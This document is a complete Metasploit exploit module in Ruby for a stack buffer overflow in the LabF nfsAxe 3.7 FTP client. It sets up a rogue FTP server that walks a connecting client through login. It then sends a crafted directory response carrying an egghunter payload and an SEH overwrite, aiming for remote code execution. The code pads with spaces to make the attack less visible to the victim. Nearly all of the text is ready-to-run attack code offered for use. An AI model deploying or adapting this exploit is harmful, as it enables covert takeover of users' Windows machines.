LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Seh  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote  
code execution.  
},  
'Author' =>  
[  
'Tulpa', # Original exploit author  
'Daniel Teixeira' # MSF module author  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '42011' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x10",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# p/p/r in wcmpa10.dll  
[ 'Windows Universal', {'Ret' => 0x6801549F } ]  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'SRVHOST' => '0.0.0.0',  
},  
'DisclosureDate' => 'May 15 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])  
])  
end  
  
def exploit  
srv_ip_for_client = datastore['SRVHOST']  
if srv_ip_for_client == '0.0.0.0'  
if datastore['LHOST']  
srv_ip_for_client = datastore['LHOST']  
else  
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')  
end  
end  
  
srv_port = datastore['SRVPORT']  
  
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")  
super  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
print_status("#{client.peerhost} - connected.")  
  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?  
print_status("#{client.peerhost} - Response: Sending 220 Welcome")  
welcome = "220 Welcome.\r\n"  
client.put(welcome)  
  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}")  
print_status("#{client.peerhost} - Response: sending 331 OK")  
user = "331 OK.\r\n"  
client.put(user)  
  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}")  
print_status("#{client.peerhost} - Response: Sending 230 OK")  
pass = "230 OK.\r\n"  
client.put(pass)  
res = client.get_once.to_s.strip  
print_status("#{client.peerhost} - Request: #{res}")  
  
eggoptions = { :checksum => true }  
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
  
# "\x20"s are used to make the attack less obvious  
# on the target machine's screen.  
sploit = "220 \""  
sploit << "\x20"*(9833 - egg.length)  
sploit << egg  
sploit << generate_seh_record(target.ret)  
sploit << hunter  
sploit << "\x20"*(576 - hunter.length)  
sploit << "\" is current directory\r\n"  
  
print_status("#{client.peerhost} - Request: Sending the malicious response")  
client.put(sploit)  
  
end  
end  
`